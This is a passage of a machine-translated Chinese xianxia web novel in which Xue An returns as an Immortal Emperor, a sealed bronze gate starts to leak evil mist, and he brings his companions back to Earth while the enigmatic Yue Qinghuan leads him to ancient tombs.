    Zhuge Zang shook his head and smiled bitterly, "You value me too much. When you reach Xue An''s realm, the law of heaven can no longer restrain him. This means that all the secret deductions have no effect on him, and I can''t do anything.


    "Cut, say so much, I still can''t bear it!" Hu Ye curled his lips drunkly.


    Zhuge Zang was too lazy to care about him, turned his head and said to Ye Hanshang and others.


    "Although it is impossible to speculate about Xue An''s recent situation, I think he will return soon. After all, when I was deducing the great fortune of the heavens recently, I found that the haze shrouded in the heavens was getting heavier. Right now."


    Speaking of this, Zhuge Zang sighed faintly, and a look of worry appeared in the depths of his eyes, "The blood is grand in this haze, and it can be seen that this disaster is no small thing!"


    Upon hearing this, Ye Hanshang and the others showed a solemn look on their faces.


    Only Hu Ye got drunk and said, "What kind of shit, there is Lao Tzu, I see which of them dare to be rampant!"


    As soon as the voice fell, I heard a light laugh from the sea of ??clouds in the distance.


    "Oh? Are you so good? Why don''t I know?"


    Hearing this voice, whether it was Ye Hanshang or Zhuge Zang, everyone was shocked.


    At the same time, seeing a breeze blowing, then a smiling young man in white appeared in Wu Jianting.


    Who can it be if it''s not Xue An.


    When I saw Xue An, everyone was overjoyed.


    "Old Xue, you are finally back!"


    "Yes, where have you been these days?"


    Xue An smiled and nodded at the crowd, then turned his gaze to Fox Ye, and said lightly: "I heard what you just said, do you want to cover the whole audience?"


    At this moment in the night of Fox, Jiuyi had been awake for more than a half after seeing Xue An, and after hearing his question, he woke up instantly, and then said with embarrassment on his face.


    "Hehehehe, look at you and say that again, isn''t I a joke!"


    Xue An couldn''t help sighing when he heard the words, "Fox Ye, I suddenly found that your other skills have not improved since you got married, and your face has become thicker!"


    As soon as this remark came out, the whole audience burst into laughter.


    Ye Hanshang smiled even more: "Old Xue''s summary is in place!"


    Hu Ye smiled facelessly, but suddenly, he seemed to have discovered something, and then Huo Dazheng started, pointing to Xue An and said.


    "Old Xue, you...you..."


    "What''s wrong with me?" Xue An asked with a smile.


    "What''s the matter with your cultivation base?"


    At this time everyone also noticed the strangeness and turned to look at Xue An.


    Xue An smiled slightly, "Did you say this?"


    As he said, the brilliance flashed in his eyes, and the momentum of his body suddenly released.


    "Fuck, the power of the immortal emperor, Lao Xue, when did you become the emperor of the immortal?" Hu Ye almost stared out, and exclaimed.


    "Just now, why? Surprised?" Xue An smiled faintly.


    Everyone was silent.


    What is the question of surprise? This is obviously a miracle.


    You must know that if the general power wants to prove Dao Immortal Emperor, the difficulty is almost like wishful thinking.


    However, Xue An only left for three days, and the understatement of the preaching was successful. The whole process was uneventful, even as if it had completed a trivial thing. How could this not surprise everyone.


    Hu Ye suddenly said weakly: "Xiao Ye Zi, I took back what I said before, he is not a pervert at all, because he is not even a pervert like him, he is completely an unreasonable freak!"


    Ye Hanshang nodded in sympathy, "Yes! I think so too!"


    Xue An couldn''t laugh or cry, just about to speak.


    At this moment, I heard a silver bell of laughter coming from a distance, and then I saw Rou''er and Ao Yi''s two daughters coming together. After Xiang Xue An and the others nodded slightly, they went straight to Fox Night. Come.


    Looking at the two smiling people, Hu Ye was stunned, "You...what are you doing?"


    Not only him, almost everyone was stunned.


    Because Ao Yi and Rou''er, who were tit-for-tat against each other like enemies before, are now smiling and holding hands. The relationship is as harmonious as a close friend for many years.


    This picture is really incredible.


    Even Xue An''s eyes flashed a touch of surprise.


    At the same time, I saw Ao Yi covering his mouth and chuckling, "Fox Ye, what are you so afraid of? We won''t eat you again!"


    Rouer stretched out her hand to grab Huye''s arm, and Jujudo: "Husband, come with me! I have something to tell you."


    Hu Ye wanted to resist instinctively, but Ao Yi and Rou''er didn''t give him this opportunity at all. They just stood up and left.


    Until he had gone far, everyone in Wu Jianting was still in a daze.


    "I was not mistaken just now. Princess Long Er and Hu Ye''s wife are actually holding hands. Have they reached an agreement? What is going on in this world?" Ye Hanshang whispered softly.


    At this moment, An Yan also came to Wujian Pavilion with a smile.


    When everyone saw the ceremony, An Yan nodded with a smile.


    She waited until the gifts were over before she walked to Xue An''s side.


    "Are you gone?"


    "Just left!"


    Then Xue An looked at An Yan curiously, "What method did you use to stop Ao Yi and Rou''er from being hostile to each other, but become intimate?"


    An Yan smiled mysteriously, "Want to know?"


    "Yeah!" Xue An nodded.


    "Then I won''t tell you, because this is a little secret between women!"


    Xue An: "..."


    This episode passed quickly, UU reading www.uukanshu. Com But Xue An''s return has set off a stormy wave in the entire Sword Palace star field.


    Because many people were shocked to discover that Xue An, who had been away for only a few days, had actually proved Dao Immortal Emperor.


    This discovery can be described as exciting and has made countless people rejoice.


    Because the stronger Xue An''s strength is, the more confident everyone will be when facing the upcoming catastrophe.


    All this brought Xue An''s reputation to the top.


    And just when the entire Sword Palace Star Territory was boiling because of this, in that distant Pure Land Buddha Kingdom.


    Cheng Hao is closely monitoring the bronze door in the distance.


    This is already the third day that he has been monitoring the bronze door endlessly.


    Zou Yi on the side couldn''t help saying: "Captain, why don''t you go and rest, there are brothers staring here to ensure that nothing goes wrong!"


    Cheng Hao shook his head tiredly, "I know there will be no mistakes. I don''t believe it, brothers. The key is that the communication talisman given by the instructor is only available to me. If I don''t stare at it myself, in case something happens, I won��t be able to notify the instructor right away!"


    "It shouldn''t happen so soon, isn''t the instructor saying that the seal can last at least three years?" Zou Yi whispered.


    "That being said, who can guarantee that there will be no mistakes in the middle?"


    After hearing this, Zou Yi wanted to say something.


    It was at this moment, but seeing the brilliance above the copper door suddenly rippled, and then a gray mist poured in from it, and then the gray mist spread at an extremely fast speed. .


    Cheng Hao was shocked, and then he screamed, "Watch out for enemy attacks!"


    Words fall.


    The entire fire phoenix moved after hearing the wind, and everyone immediately put on the armor of the soldiers and made all the battle preparations in an instant.

 Chapter 2119： Evil penetration

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    But I never expected that although these gray mists diffused into the vast void at an extremely fast speed, they were not aggression at all, but gradually transformed into a huge forest.


    That''s right!


    It is the forest in the literal sense.


    But seeing that with this bronze gate as the center, within a few hundred miles of the void, trees as high as hundreds of meters rose from the ground, blocking everyone''s sight.


    And under the trees, countless low shrubs are growing crazily, arbitrarily snatching space.


    But for a moment, these shrubs and vines with sharp barbed thorns completely occupied all the space.


    At this point, the void has become a dense forest, making it impossible to survive.


    Everyone was stunned by this scene.


    Zou Sui couldn''t help but murmured, "Captain, this...what the **** is going on? What tricks these evil things are doing?"


    Cheng Hao looked at this scene with a deep face, then shook his head.


    "I don''t know, but what is certain is that these evil things are definitely not for us to make greening, they must be engaged in some conspiracy!"


    "Then what to do?"


    "Nonsense, of course it was reported to the instructor!"


    "Yes, you really should report to the instructor as soon as possible!" Zou Sui slapped his thigh, and immediately became a little confused.


    "But how should I explain this scene to the instructor?"


    "Don''t worry!" Cheng Hao said confidently, "From the beginning, I recorded everything through the water mirror method!"


    As he said, a small ball of light appeared in front of Cheng Hao, and then he cherished and took out the talisman used to contact Xue An from his arms.


    After pouring the spiritual power, I saw a flash of brilliance on the Fu seal, and then the light ball was directly incorporated into it.


    After finishing all this, Zhou Da Niu asked in a naive voice: "Captain, what shall we do next?"


    Cheng Hao said solemnly, "Regardless of whether this forest is malicious or not, everyone must have the spirit of twelve points."


    "So when I passed my order, everyone immediately spread out according to the formation and surrounded this forest. If there is any change, immediately report to me!"


    "Yes!" everyone responded in unison, and then dispersed in an orderly manner in accordance with the formation that had been drilled countless times, putting the forest under close surveillance.


    At the same time, in the distant Sword Palace star field, Xue An, who was talking and laughing with Hu Ye Ye Hanshang and others, suddenly sank.


    Zhuge Zang was the first to notice the strangeness and immediately asked: "What''s wrong?"


    Xue An''s face sank like water, and he slowly said, "It''s the news from the Fire Phoenix, what happened to the Tongmen Seal!"


    As soon as the words were said, the banquet hall, which had laughed and laughed, was instantly silent.


    "What''s the matter? What''s the matter? Do you need to pass now?" Hu Ye immediately stood up and asked in a deep voice.


    "What he sent is a water mirror image, let''s take a look first!"


    As he said, Xue Anxin drew a talisman seal in front of him, and then saw Guanghua flash, the ball of light flew out of it and burst into the air.


    In an instant, a water mirror image was easily opened in front of everyone, exactly what happened before the bronze gate.


    After reading it, everyone was a little confused, and then looked at each other.


    Hu Ye was even more stunned, and only after a long time he said: "Old Xue, what the **** is going on? Are these evil things here to plant trees?"


    Before Xue An could speak, Yue Qinghuan, who had been sitting alone in the corner of the banquet hall, suddenly chuckled, and then faintly said: "Fool, of course not!"


    "Fool? Hey, who do you call for a fool?" Hu Ye had been quite jealous of this girl of unknown origin. Now that she dared to mock herself, she was naturally even more dissatisfied.


    "Of course I called you, why? Do you have any opinions?"


    He said, but seeing Yue Qinghuan stand up and take a step, he walked up to Xue An.


    "You..." Hu Ye was furious. Just about to have an attack, Ye Hanshang on the side grabbed him, and then shook his head gently at him.


    Then, Hu Ye said angrily: "As you are a woman, my uncle is not as knowledgeable as you!"


    Yue Qinghuan didn''t even look at him. Instead, he stared at the image in the water mirror, then turned to look at Xue An and smiled: "You seem to have seen it!"


    Xue An nodded, "Yes, I have indeed seen it!"


    "What are they talking about? What did you see?" Hu Ye asked Ye Hanshang in a low voice.


    Ye Hanchang shrugged, "I don''t know!"


    At this moment, Zhuge Zang suddenly sighed quietly, "I can see it too!"


    "Old man, what did you see?" Hu Ye asked quickly.


    Zhuge Zang looked at the water mirror with solemn expression, and said solemnly: "Obviously, this forest was transformed by evil spirits from outside the sky, which means that the seal on the bronze door has begun to gradually expire!"


    As soon as this statement came out, the audience was silent.


    Hu Ye looked at Xue An, "Old Xue, is that right?"


    Xue An nodded, "Yes!"


    Hu Ye was full of spirits, and then said anxiously: "Then what are you waiting for? Hurry up and gather the people to go to the Pure Land Buddha Kingdom. It''s all over when it''s late!"


    Xue An smiled and shook his head, UU Read , "Don��t worry too much. Although the seal is gradually becoming invalid, it obviously won��t collapse overnight, otherwise these evil things will not infiltrate with evil spirits first. Now, how good is it to attack directly inside!"


    "But then you can''t be stupid here, what if something happens?" Hu Ye was still a little impatient.


    "Who said you are going to be stupid here, you immediately start to organize your manpower and make all preparations!" Xue An said solemnly.


    "Good!" Hu Ye immediately agreed.


    But Ye Hanshang immediately asked, "What about you?"


    Because he found that Xue An obviously did not include himself in his words, he asked.


    Xue An smiled slightly, "I''m going to a place!"


    "Where to go? Pure Land Buddha Country?"


    Xue An shook his head, and then said every word: "Go to Earth!"


    "What? Go to Earth?" Almost everyone is a little unsure.


    It is obviously the bronze gate seal of the Pure Land Buddha Kingdom. Why is Xue An going to the earth?


    Only Yue Qinghuan''s eyes lit up slightly, and then the corners of his mouth rose slightly, revealing an imperceptible smile.


    Fan Mengxue has been very depressed recently.


    In fact, from the moment she stepped into the sword palace star field, she became a little depressed.


    This state became stronger after seeing Xue An who had returned.


    Even Tao Zhuxing, who had been trying to approach her with various excuses, did not dare to approach her within ten feet.


    In Tao Zhuxing''s words, those eyes can really freeze people to death!


    Today is no exception.


    Fan Mengxue stood alone in a flower hall in the sword palace, looking at the sea of ??flowers in the distance.


    Tao Zhuxing stood outside the flower hall, wanted to go in but didn''t dare, anxiously scratching his head.

 Chapter 2120： Have a clear conscience and walk for the sky

    At this moment, a white figure suddenly appeared on the road far away, appeared in front of the flower hall in an instant, and then stepped inside.


    Tao Zhuxing didn''t even raise his head, but subconsciously felt that a figure suddenly appeared next to him, and the figure seemed to be walking into the flower hall, and he couldn''t help but said angrily.


    "Hey, what''s wrong, didn''t you see anyone in the flower hall?"


    The person stopped, then turned his head and smiled faintly, "Oh? What happened to someone?"


    "Nonsense, someone in it means that this flower hall is occupied by someone, and you are still going inside..."


    Tao Zhuxing said impatiently, then raised his head to see who was so lacking in eyesight.


    But when he saw this smiley face, he couldn''t help but shook his whole body, and then he was stunned.


    "Red...Master Honglian?" Tao Zhuxing couldn''t believe his eyes.


    Because the figure that appeared next to him is an idol worshipped by thousands of young people, and the legendary Red Lotus Immortal Xue An!


    That''s right!


    The person who came was Xue An.


    I saw him smile slightly, "Do you recognize me?"


    Tao Zhuxing nodded as if pounding garlic, then said excitedly.


    "At that time, outside of the Sword Palace Star Territory, I was fortunate enough to meet you!"


    Xue An chuckled and nodded, "If that''s the case, I''ll be lucky!"


    After that, he took a step and walked inside.


    Tao Zhuxing looked at Xue An''s back in a daze, his head filled with question marks.


    What did Guren-sama suddenly come here for?


    Could it be... he knew this girl Fan Wanganfan?


    and many more! Fan Wangan, Wangan...


    Tao Zhuxing suddenly thought of something, his eyes widened instantly.


    But immediately the brilliance on his face dimmed at a speed visible to the naked eye.


    Then he laughed at himself.


    No wonder this girl Fan has always been fascinating with herself. It turns out that this is the reason.


    If this is the case, then it is justified.


    After all...Compared with an existence like Master Honglian, his own cultivation base and achievements are nothing at all.


    Thinking of this, Tao Zhuxing couldn''t help but smile, and then quietly stepped back.


    And that was when the once-motivated young sword repairer was sad, in this flower hall, Xue An stood still and looked at Fan Mengxue''s thin back for a long time without saying a word.


    It was not until a long time later that Xue Anfang sighed softly, and then shouted in a low voice, "Mengxue!"


    Fan Mengxue''s shoulders trembled, but she didn''t even turn her head back, just whispered: "What are you doing?"


    The voice trembled slightly, and it could be heard that she was doing her best to stay calm.


    "If there is nothing wrong with me, can''t I come?" Xue An smiled lightly, trying to make the atmosphere less heavy.


    But Fan Mengxue was silent.


    This silence made the atmosphere more solemn.


    Xue An coughed slightly awkwardly, and then said: "I am going to return to Earth!"


    Still silent.


    It wasn''t until a long time later that Fan Mengxue turned around and looked at Xue An with full eyes.


    "What happened to the earth?"


    "There are some things that need to be dealt with, do you... want to go back together?"


    Fan Mengxue looked at Xue An quietly and suddenly smiled, "Is this an invitation?"


    "of course!"


    "Okay, I''ll go back!" Fan Mengxue said decisively immediately.


    Although it was just a few words, when he walked out of the flower hall, Xue An felt a faint sweat stain on his forehead, and he could not help but let out a breath, and then wanted to stretch out.


    But in the next second, a word after coming to himself destroyed all his ease.


    "Tsk tusk, isn''t it exciting to date other women with your wife behind your back?"


    Following the voice, Yue Qinghuan''s figure appeared not far in front of Xue An, and looked at him with a smile.


    Xue An has long been accustomed to the appearance of this girl.


    But these words made Xue An almost spit out a mouthful of blood, and then said with a black line on his face: "What nonsense are you talking about?"


    "Am I wrong? First of all, you didn''t know your wife when you came here, and then you ran into the flower hall to talk to people. Isn''t this what a date is?" Yue Qing said happily.


    But Xue An was not as crazy or panicked as she expected.


    On the contrary, Xue An just glanced at her coldly, then walked out.


    "Hey, aren''t you going to explain something?"


    "Explain what? I have a clear conscience, why do I need to explain it!"


    Xue An said lightly, without stopping at the same time.


    Yue Qinghuan gritted his teeth secretly, flashed his figure, and appeared in front of Xue An again.


    "Then you are not afraid that I will tell your wife these things?"


    Xue An stopped suddenly and stared at Yue Qinghuan coldly.


    The expression on Yue Qinghuan''s face remained unchanged, and she looked at Xue An with a smile.


    "I remember you said at the very beginning that you were only a bystander. Why were you suddenly so interested in my personal affairs?" Xue An said coldly.


    Yue Qinghuan shrugged slightly, "I did say that, but it doesn''t mean that I won''t interfere with certain things. What''s more, scumbags are punishable by everyone. I can be regarded as a way of doing things for heaven. Are you right ?"


    The corners of Xue An''s mouth gradually raised, "Walking for the sky?"


    Yue Qinghuan blinked playfully, "Yes. Walk for the sky!"


    In her opinion, she could finally win a round.


    This seemingly invulnerable man finally revealed his true colors, which naturally made her a little excited.


    But deep down, she actually felt a faint disappointment.


    It''s like a long-awaited drama, but after seeing it in person, it turns out that it''s just so frustrating.


    But I never expected that after hearing what Yue Qinghuan said, Xue An suddenly walked out.


    Yue Qinghuan was stunned, then suddenly turned around and said: "Hey, what do you mean? Are you not afraid that I will tell your wife this matter?"


    "Whatever you want!" Xue An said without looking back Yue Qinghuan was a little anxious, and his figure flashed in front of Xue An again, "Are you abandoning yourself?"


    Xue An chuckled, and suddenly leaned down and said to Yue Qinghuan''s ear: "I want to say that I came here to see her because Yan''er asked me specifically, do you believe it?"


    Yue Qinghuan was stunned.


    Xue An laughed, "I''m sorry, but your plan to help the sky seems to have failed!"


    After all, Xue An strode away.


    It wasn''t until a moment later that a light smile suddenly appeared on Yue Qinghuan''s face, and then he turned to look in the direction of Xue An.


    "Interesting, really interesting, I seem to be more and more interested in you!"


    "I really hope you can win this catastrophe! In that case, you are qualified to see many things you can''t even imagine!"


    "I really look forward to that day!"

 Chapter 2121： Li Bingmo, a horse and a pillow

    Earth.


    Beijiang, Tianzi No. 1 Villa.


    As Xue An��s former residence, it has become a place of pilgrimage for many people.


    Although people can''t get too close because of the barriers of the formation, this still can''t prevent many young people who worship Xue An from coming to worship here.


    The most ridiculous thing is that many martial arts students will come here to make a wish in order to get good results in the upcoming rating test.


    For a time, near the Tianzi No. 1 Villa, especially by the Yunmeng Lake, it was almost a sacred place with cigarettes.


    In fact, not only these ordinary people, even those strong men with cultivation skills, have to bow their heads obediently when facing this Tianzi No.1 villa, and dare not be arrogant.


    This is not only because Xue An once lived in this Tianzi No. 1 villa, but more importantly, there is still one person living here today.


    A woman who has nothing to do with the world, but is strong enough to overwhelm the world''s ninety percent of the strongest women.


    That''s right!


    It was Tang Xuan''er who was called the goddess of ice and snow.


    Having said that, I need to briefly introduce the current situation on the earth.


    After Xue An''s preparations, the whole earth can be described as sturdy and ready.


    The folks are even more excited about the upcoming war.


    For a time, everyone''s idol changed from a star to a monk with powerful strength.


    Therefore, many fan groups soon appeared on the Internet.


    Naturally, Xue An has the largest number of fans.


    An Yan and two little girls followed closely behind.


    These fans can basically be regarded as one family, but they are undoubtedly mainstream.


    But besides that, Tang Xuan''er is the one who has the largest number of fans and the best reputation among people.


    First of all, she is strong enough, and secondly, she is gorgeous, which has caused her to gather a lot of popularity on the Internet.


    But the most important thing is because of her incompetence.


    This tranquility and ease have led to her becoming the goddess of many people.


    And at this moment, in this Tianzi No. 1 villa, Tang Xuan''er, who was sitting cross-legged, opened her eyes suddenly, and a trace of moisturizing aura lingered in front of her, forming a pure glow similar to jade.


    If anyone else is here, they will definitely exclaim.


    Because at this moment, the aura on Tang Xuan''er''s body seemed to be the cultivation base of the half-step fairy king!


    This also meant that the Yuqing Zizai Zhenju that Tang Xuaner had cultivated had reached a very high level.


    Even the people who founded this method didn''t expect that someone would be able to successfully prove to the Immortal King by relying on this not too advanced method.


    This has to be said that Tang Xuan''er''s character played a decisive role in this.


    The attitude of not competing, not grabbing, not rushing, not irritable just caters to the requirements of this method, so the entry will be very smooth and smooth.


    Tang Xuan''er took a slow and deep breath. After spitting it out, the brilliance in her eyes gradually converged, and immediately returned to normal.


    Despite this, the incomparable clarity of temperament made her appearance to the next level.


    Faced with such a phenomenon that would make ordinary women ecstatic, Tang Xuan''er was not sad or happy, and calmly opened the door and walked down the stairs to the living room on the first floor.


    now.


    The huge living room is empty, and although it is luxuriously furnished, there is no trace of popularity.


    Tang Xuan''er subconsciously looked at the sofa aside.


    This is the place where Xiaosha liked to sit most at the beginning. In her words, sitting here and watching TV can have the best viewing angle.


    A look of sadness appeared in Tang Xuan''er''s eyes.


    When Xiaosha and Zhang Xiaoyu were there, the whole Tianzi No. 1 Villa was so lively.


    unfortunately.


    A few years passed, but the sofa was always empty.


    Thinking of this, Tang Xuan''er sighed faintly, and stepped out of the villa to the open space in front of her.


    In the distance is the blue Yunmeng Lake.


    It is said to be a lake, but under Xue An''s several blessings, the area of ??the lake is already many times larger than it was at the beginning.


    Even when standing in front of the villa and looking out, it will give people a feeling of looking at the sea.


    Tang Xuan''er was surrounded by clouds and mist, faintly like a fairy.


    This scene was also seen by many people worshiping in the distance, and they couldn''t help cheering.


    "It''s Goddess Tang!"


    "Goddess Tang finally broke through!"


    "Goddess Tang, we love you!"


    All kinds of shouts one after another.


    Tang Xuan''er smiled slightly and was about to speak.


    But at this moment, she felt a strong heart palpitations inexplicably.


    This feeling horrified her, and immediately turned her head to look.


    At this moment, in the empty space behind her, ripples appeared in the void, and then a group of people flew out of it.


    In the forefront are two small figures.


    After seeing Tang Xuan''er, these two figures jumped over with cheers, shouting as they ran.


    "Aunt Xuan''er!"


    As they said, the two pounced firmly into Tang Xuan''er''s arms.


    Tang Xuan''er was still a little silly at this time, until she lowered her head and saw these two happy little girls, she was sure that she was not dreaming, and then she shouted in infinite surprise.


    "I miss you, is it really you?"


    The two little girls were crying with joy, and they stopped holding Tang Xuan''er''s arm.


    "Aunt Xuan''er, it''s us, don''t you know us?"


    At the same time, two more figures rushed to Tang Xuan''er, and the leader shouted in a slightly choked voice.


    "Sister Xuan!"


    Tang Xuan''er raised her head and looked at the little Lolita in front of her. It was only a moment later that her eyes gradually widened, and she trembled: "Xiaosha?"


    Xiaosha wiped away the tears from the corner of her eyes and nodded vigorously, "Yes, it''s me, I''m back!"


    Even as calm as Tang Xuan''er, after seeing Miss Miss and Xiaosha, she couldn''t help being excited and uncontrollable.


    "Just come back, just come back!"


    The octopus on the side was even more excited and hit his tentacles several dead knotsSister Xuan, I��m the octopus, why are you so much more beautiful? "


    At the same time, he heard a chuckle from a distance.


    "Silly Xuan''er, who do you think I am?"


    Following the voice, An Yan and Fan Mengxue also appeared one after another.


    "Ah, sister Yan!" Tang Xuan''er hurriedly saluted.


    An Yan smiled and grabbed her, "It''s alright, are you still so polite between you and me?"


    Tang Xuan''er also smiled, and then looked at Fan Mengxue who was aside.


    "Mengxue, you are back too!"


    Fan Mengxue smiled sweetly, "Yeah, Xuan''er, I didn''t expect to see you for so long, you are actually a powerful half-step fairy king!"


    Tang Xuan''er brushed her temples with embarrassment, "Okay, don''t make fun of me, Immortal King Fan Da!"

 Chapter 2122： Are you warning me?

    Just as everyone was talking and laughing, they suddenly heard a soft voice coming from the void.


    "What a pure temperament!"


    Following the voice, Yue Qinghuan suddenly appeared in front of Tang Xuan''er, so close that he was about to touch his nose.


    Tang Xuan''er was so scared that she took a step back, and then looked suspiciously at this beautiful girl with a pair of lavender eyes.


    "who are you?"


    Yue Qinghuan pursed his lips, "Is he even so frightened that he looks like a small deer? It seems that someone is really good at Jinwu Cangjiao!"


    What do you mean?


    What is Jinwu Cangjiao?


    Who is she talking to again?


    Just when Tang Xuan''er didn''t know why, she heard a soft sigh.


    "Stop nonsense! This is my friend!"


    Following the voice, seeing a brilliance flashed by, Xue An appeared in front of everyone.


    When she saw that it was Xue An, Tang Xuan''er suddenly understood the meaning of Yue Qinghuan''s words, her face flushed to the base of her ears, and she turned her head to the side.


    But her shy appearance made Yue Qinghuan even more excited.


    Seeing her figure flashed, she appeared in front of Tang Xuan''er again, and then looked straight at Tang Xuan''er.


    "Tsk tusk, it''s really the stunner I see pity!"


    Tang Xuan''er was horrified by this look, and subconsciously took a step back.


    Xiao Sha on the side quit.


    Someone dared to offend Sister Xuan''er in front of him. This is obviously not taking himself seriously!


    Although Xiao Sha also vaguely knew that this purple-eyed girl was very mysterious, she never cared about it, who had always been fearless.


    She snorted, took a step forward, and then blasted her punch.


    With Xiao Sha''s current strength, this fist blasted with anger was enough to blast a mountain into powder.


    But he never expected that Yue Qinghuan didn''t even look at the banging punch, just tap it lightly.


    Xiao Sha''s fist stopped in the air for an instant, and at the same time, his face flushed quickly, apparently under extreme pressure.


    "Boss!" Zhang Xiaoyu exclaimed, and immediately waved his tentacles, attacking Yue Qinghuan.


    But at this moment, Xue An suddenly took a step forward and directly blocked Zhang Xiaoyu behind him, and at the same time he put Xiaosha''s shoulders in his hand.


    Xiao Sha instantly felt as if she had unloaded a heavy load, her arms fell heavily, sweating all over her body, and then she gasped heavily.


    But that''s it, Xiao Sha still had a brutal face and wanted to continue rushing upwards.


    Xue An said lightly: "Xiaosha, step back!"


    Xiao Sha stopped helplessly, but his eyes were still full of fierceness.


    Then Xue An frowned slightly and said to Yue Qinghuan, "What do you mean?"


    "It''s meaningless, a little loach actually wants to do something to me, so I will teach her a little lesson!" Yue Qinghuan said lightly.


    As soon as the voice fell, Xue An stepped forward abruptly, staring directly at Yue Qinghuan with a sharp gaze.


    "I know your background is very big, but what I want to tell you is that these heavens are my territory. If you want to watch, you must abide by my rules of the game, otherwise... I will let you understand what a profound lesson is. !"


    Yue Qinghuan raised his head to stare at Xue An, without the slightest expression of fear on his face, but rather licked his lips eagerly.


    "Are you warning me?"


    "Yes, and if there is another time, it will not be as simple as a warning!" Xue An said coldly.


    "Ha ha!"


    Yue Qinghuan chuckled and didn''t say a word. He just glanced at Xue An, then lightly touched the ground barefoot, and then appeared on the roof of the villa in the distance, leaving everyone away.


    Xue An then smiled at Tang Xuan''er apologetically, "She is such a freak, you don''t need to pay attention to her!"


    "Hey, it''s bad behavior to speak bad words behind your back!" Yue Qinghuan''s lazy voice came.


    Xue An said indifferently: "Who said I was carrying someone on my back? Didn''t I say it in front of you?"


    Yue Qinghuan poked his head from the top of the villa, and nodded after a little thought, "Hey, don''t say it, it makes sense!"


    After speaking, she laughed and drew back.


    Tang Xuan''er watched this scene in a bit of astonishment, and then asked in a low voice, "Who is this girl?"


    Xue An shook his head, "Don''t worry about who she is, just treat her as if she doesn''t exist at all!"


    Tang Xuan''er nodded now, and then asked solemnly: "You suddenly come back, but is the catastrophe coming?"


    "That''s it!"


    Tang Xuan''er immediately said solemnly, "Would you like to notify everyone now?"


    Xue An smiled and shook his head, "Don''t worry so much. After I finish the matter, I will naturally notify everyone!"


    Tang Xuan''er nodded immediately, "Okay!"


    She didn''t ask Xue An what she wanted to do, nor whether she could do it, because in her eyes, there was nothing in the world that Xue An couldn''t do.


    At this moment, I saw Xiao Sha drooling and said: "Sister Xuan, I want to eat the roast chicken in my dreams, can I still have it now?"


    Tang Xuan''er smiled, "Of course there is, come, come with me!"


    Tang Xuan''er led Xiaosha and Zhang Xiaoyu to the villa kitchen, and the two little girls naturally followed him.


    The originally deserted villa instantly became lively, and even Fan Mengxue went to the back kitchen to help.


    But after she left, An Yan, who was already smiling, suddenly became serious, and then asked in a low voice in Xue An''s ear.


    "Husband, I ask you, are you not even sure of this catastrophe?"


    "Oh? Why do you ask?" Xue Anhan smiled.


    "Because you suddenly took everyone back to Earth. This is like a farewell before the war! So answer me, is it true?" An Yan said solemnly.


    Xue An gave a chuckle, and then reached out his hand to touch An Yan''s hair, "What are you thinking about in your little head all day, I will answer you now, you are purely unfounded worry!"


    "With me here, UU reading will not do anything!"


    "you sure?"


    "I confirm!"


    An Yan finally went to the back kitchen to work, but the smile on Xue An''s face gradually became serious.


    At this moment, bursts of fragrance suddenly came from beside him, and then he heard Yue Qinghuan chuckle and said, "Do you even have to hide your wife? It seems that you really don''t have much confidence in yourself!"


    Xue An didn''t even turn his head, just said indifferently: "It doesn''t matter whether you have confidence or not, and you are not on the top of the building, why are you running down suddenly?"


    "Hey, of course something is going on. I just discovered something very interesting on it just now, so I need you to check it out with me!"


    "Oh? What''s the matter?" Xue An glanced at Yue Qinghuan.


    "Oh, I can''t explain it clearly to you for a while, you''ll know when you follow me!"


    With that, Yue Qinghuan grabbed Xue An''s wrist and disappeared into the living room in an instant.

 Chapter 2123： Is this what you call interesting?

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    Suhang.


    This is an ancient city with thousands of years of history.


    And now, here is also a pivotal and important city in China, and its degree of development is not inferior to that of Zhongdu and Beijiang.


    At this moment, on the edge of this extremely prosperous metropolis, two figures suddenly appeared.


    Although the city is extremely developed, because it is too remote, it is surrounded by large tracts of undeveloped farmland and woodland, which seems extremely desolate.


    Seeing this, Xue An couldn''t help frowning slightly, "What did you bring me here for?"


    "Hush!" Yue Qinghuan made a silent gesture, then dropped to the ground, walking forward with a solemn expression on his face.


    Xue An didn''t understand, so he didn''t know why this Yue Qinghuan went down to walk suddenly, but in order to find out, he had to fall to the ground and follow behind.


    There was a winding road in the woods, Yue Qinghuan walked unhurriedly, his bare feet on the ground, he had a strange beauty.


    The more he left, the more solemn Yue Qinghuan''s expression became.


    In the end, her eyes were full of brilliance.


    at last.


    After passing through a dense forest, a huge mound of soil appeared in front.


    The closed mound actually looked like a big mound, covered with weeds and looked extremely desolate.


    But after seeing this pile of confined soil, Yue Qinghuan''s complexion became extremely solemn and solemn, and the splendor in his eyes continued.


    "It really is here!"


    With that, Yue Qinghuan rushed forward happily.


    Xue An stood there and looked at the mound with some strangeness.


    Suddenly, his eyes lit up slightly, and then he stepped forward to remove the weeds on the side of the road.


    Sure enough, under the cover of this weed was a small stone monument.


    Several large characters are engraved on the stone tablet.


    The tomb of the sage Sun Wu!


    After seeing this name, Xue An��s pupils shrank instantly, and then turned his head to look at Yue Qinghuan, who was already standing on the mound, walking around with excitement, with a thoughtful look on his face. look.


    At this moment, Yue Qinghuan suddenly appeared beside him and said lightly: "Let''s go!"


    Xue An was startled slightly, "Don''t look at it?"


    "Don''t look at it, it''s not interesting, just as I guessed, the only thing buried here is a rotten bone!"


    After Yue Qinghuan said this puzzling sentence, he didn''t wait for Xue An to respond, and grabbed Xue An by the wrist.


    "Follow me to see elsewhere!"


    In the next instant, the two of them appeared again in front of a mound.


    It''s just that this mound is more magnificent than that of Sun Wu''s tomb, but there is a magnificent building built in front of the mound.


    On the huge square in front of the building, there is also a tall stele pavilion, and three large characters are carved on the black basalt stele.


    Huangdi Mausoleum!


    Xue An was not surprised by this scene, but Guanghua flashed in his eyes, and then his divine thoughts obscured the two of them.


    Because this Huangdi Mausoleum is not the tomb of Sun Wu like a barren mound, there are many tourists here, and there is an endless stream of visitors.


    In order to avoid causing a commotion, Xue An directly hid the figures of the two.


    This time, Yue Qinghuan didn''t even have the mound to be sealed. He just walked around the stele pavilion a few times and said with excitement, "Let''s go!"


    "Look again?"


    "What are you looking at? There are no dead bones here, the only thing left is a breath of being buried!"


    Immediately afterwards, Yue Qinghuan took Xue An to travel across the mountains and rivers of China in less than an hour.


    But the places she went without exception were the tombs of famous figures in ancient times.


    After the tour, Yue Qinghuan looked calm and took Xue An directly back to Tianzi No. 1 Villa.


    now.


    Yan''er, Tang Xuan''er and others are still busy in the kitchen, they don''t know what just happened.


    Xue An sat on the sofa slowly, and then smiled faintly.


